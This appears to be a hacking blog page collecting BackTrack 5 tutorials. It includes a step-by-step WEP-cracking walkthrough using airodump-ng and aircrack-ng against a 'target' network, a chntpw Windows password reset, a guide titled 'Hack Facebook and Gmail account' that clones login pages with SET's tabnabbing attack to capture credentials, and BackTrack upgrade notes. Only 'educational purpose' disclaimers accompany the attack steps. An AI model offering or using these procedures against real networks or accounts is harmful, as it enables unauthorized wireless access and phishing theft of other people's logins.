WEP CRACKING ON BACKTRACK 5

WEP CRACKING

On Backtrack 5 Full Tutorials

AIM 

• This tutorial aim is to guide you the process of WEP CRACKING On Backtrack 5 .

Should have a knowledge of these term:

• AP : stands for Access Point or a wireless router .
• MAC Address : stands for ;Media Access Control ,its a unique address , It is in the Hexadecimal format like 00:6B:6B:2F:C8:C8  .
• BSSID : It is the AP Mac Address.
• ESSID : It shows the AP broadcasting name .
• WEP : stands for Wired Equivalency Protocol .
• WEP is a security protocol for Wifi (Wireless fidility) Networks.

Tools used to Crack WEP are:

1. iwconfig : A tool that for configure wireless adapter 
2. macchanger : A tool that allow you to spoof your Mac Address.
3. airmon - a tool that set your wireless adapter into monitor mode .
4. airodump - a tool that capture packet from the wireless router.
5. aireplay - a tool for forging ARP request.
6. aircrack - a tool for decrypting WEP keys .

Requirements 

1. Backtrack 5 distro.
2. Wireless Adapter Card 

Lets start the Procedure -

Step 1 : Open a new konsole on Backtrack 5 

• See the image how to open konsole on Backtrack 5 .

Step 2 : Type the command shown below -

• Command 1: ifconfig wlan0
• Command 2: iwconfig wlan0
• See the image below for more details - 

Step 3: Put your Wifi adapter card on Monitor Mode 

• Open a new konsole and enter the command shown below - 
• Type the following command to put your card into Monitor mode .
• Command : airmon-ng start (your interface)
• Example : airmon-ng start wlan0
• A message is also display on the screen that your monitor mode is enabled.
• See the image for more details - 

Step 4: Display the monitor mode .

• New monitor mode created named mon0 
• To see the monitor mode enter the command shown below -
• Command : iwconfig 
• See the image for more details -

Step 5: Finding a Target

• Now we have to find the network that is protected by the WEP .
• To find those networks we use a simple command shown below - 
• Command : airodump-ng mon0 
• Here airodump-ng is the command to start the program
• mon0 is the new interface which you created in the earlier step .
• See the image below for more details -

Step 6: Capture the data into file 

• To capture the data we use airodump tool with additional switches like --bssid ( mac address), -c (channel), -w (filename )
• Syntax of the commands is - 
• Command : airodump-ng mon0 --bssid (Mac Address) -c (channel no.) -w (filename)
• Example : airodump-ng mon0 --bssid 00:08:68:2F:C8:C8 -c 1 -w WEPkey
• See the image below for more details - 

Step 7: Open Home Directory to check WEPkey file is created or not .

• Open the Home Directory .
• Check your WEPkey file is created or not .
• See the image below - Image shows WEPkey file is created and saved in the home directory.

Step 8: Crack the WEP Key using Aircrack Tool 

• Open a new konsole . 
• Then enter the command  : aircrack-ng (file name)
• Example : aircrack-ng WEPkey-01.cap
• Withing  a minute aircrack will decrypt your WEP key as shown in the image .
• See the image below.
•   canuhack.blogspot.com

• This is how we can WEP  CRACKING on Backtrack 5 .
• If you like this article , then drop a comment .
• I hope you like this article on WEP CRACKING on Backtrack 5

THIS ARTICLE IS JUST FOR EDUCATIONAL PURPOSE ONLY

DO AT YOUR OWN RISK , I AM NOT RESPONSIBLE IF ANYTHING HAPPEN WITH YOU.

Read more ...

How to Reset Windows Password Using BackTrack

Hello all users, in today's we'd like to share a very simple and eagyhack for resetting your the lost Windows password using BackTrack & Chntpw tool, so let me get straight to the point without beating around the bush.

Windows stores the login password hashes (lm/ntlm format) in the registry hive files named 'SYSTEM' and 'SAM' at following location

C:\Windows\System32\Config

These files are highly protected and not accessible while Windows is running even for the administrator user. However hackers have found a way to circumvent these protections and access these system files.

Level : Expert

Follow the steps below for  resetting your widow password :

  1.  First of all Boot the system using BackTrack
  2.  Identify and mount your Windows partition in read/write mode using below steps
  3.  umount /mnt/hda1
  4.  modprobe fuse
  5.  ntfsmount /dev/hda1 /mnt/hda1
  6.  Now go to Windows\System folder in that partition
  7.  cd /mnt/hda1/windows/system32/config
  8.  Now list users => chntpw –l SAM
  9.  Reset the password for specific user
 10. chntpw –u username SAM

Next type * when asked to enter new password

Now login to Windows with that username & blank password

If your hard disk is SATA type then you need to use /sda1 instead of /hda1 in the above steps.

Resetting lost windows password is quickest way to get access to your system. However it will make encrypted volumes/DPAPI protected passwords inaccessible. So you have to decide wisely before you go with resetting windows password.

Enjoy.......

Read more ...

Hack Facebook and Gmail account using Backtrack 5

Open your backtrack 5’s terminal and type cd /pentest/exploits/set

Now Open social Engineering Tool kit (SET) ./set

Just hit ENTER and SET will Open , Now just select 1st option (1 Social-Engineering Attacks) and hit enter after that 2nd number (just type 2 as shown in snapshot)

Now Just select 4th Option “Tabnabbing Attack Method” and Hit ENTER

Then select 2nd option “Site Cloner” and Hit ENTER

Now here you need to add the URL of Facebook (if you want to hack gmail then just add the gmail’s URL)

Now just hit the enter.

Open new terminal and just type ifconfig and hit ENTER

Now just copy this IP address and open it in Browser.

Now here I am just typing test email and password to see whether it works or not.

Now just hit enter and switch back to our terminal and we found the Email and password !

This tutorial is just educational purpose only.

Read more ...

Upgrade From BackTrack 5 R2 to BackTrack 5 R3

Recently, BackTrack released the long-awaited BackTrack 5 R3 but for those of you who don’t want to start fresh with a new installation, have no fear because you can easily upgrade your existing installation of R2 to R3.

Our primary focus with this release was on the implementation of various bug fixes, numerous tools upgrades and well over 60 new additions to the BackTrack suite. Because of this, the upgrade path to BackTrack 5 R3 is relatively quick and painless.

First, you will want to make sure that your existing system is fully updated:

apt-get update && apt-get dist-upgrade

With the dist-upgrade finished, all that remains is the install the new tools that
have been added for R3. An important point to keep in mind is that there are 
slight differences between the 32-bit and 64-bit tools so make sure you choose 
the right one.

32-Bit Tools :

apt-get install libcrafter blueranger dbd inundator intersect mercury cutycapt trixd00r artemisa rifiuti2 netgear-telnetenable jboss-autopwn deblaze sakis3g voiphoney apache-users phrasendrescher kautilya manglefizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph wifihoney twofi truecrack uberharvest acccheck statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-check sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool ded dex2jar droidbox smali termineter bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker powersploit webhandler

64-Bit Tools :

apt-get install libcrafter blueranger dbd inundator intersect mercury cutycapt trixd00r rifiuti2 netgear-telnetenable jboss-autopwn deblaze sakis3g voiphoney apache-users phrasendrescher kautilya manglefizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph wifihoney twofi truecrack acccheck statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-check sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool ded dex2jar droidbox smali termineter multiforcer bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker powersploit webhandler

Read more ...

BackTrack 5 R3

(Size : 2.6 gb )

BackTrack is intended for all audiences from the most savvy security professionals to early newcomers to the information security field. BackTrack promotes a quick and easy way to find and update the largest database of security tools collection to-date. Our community of users range from skilled penetration testers in the information security field, government entities, information technology, security enthusiasts, and individuals new to the security community.

Feedback from all industries and skill levels allows us to truly develop a solution that is tailored towards everyone and far exceeds anything ever developed both commercially and freely available. The project is funded by Offensive Security. Whether you’re hacking wireless, exploiting servers, performing a web application assessment, learning, or social-engineering a client, BackTrack is the one-stop-shop for all of your security needs.

Download :

Click Here

Read more ...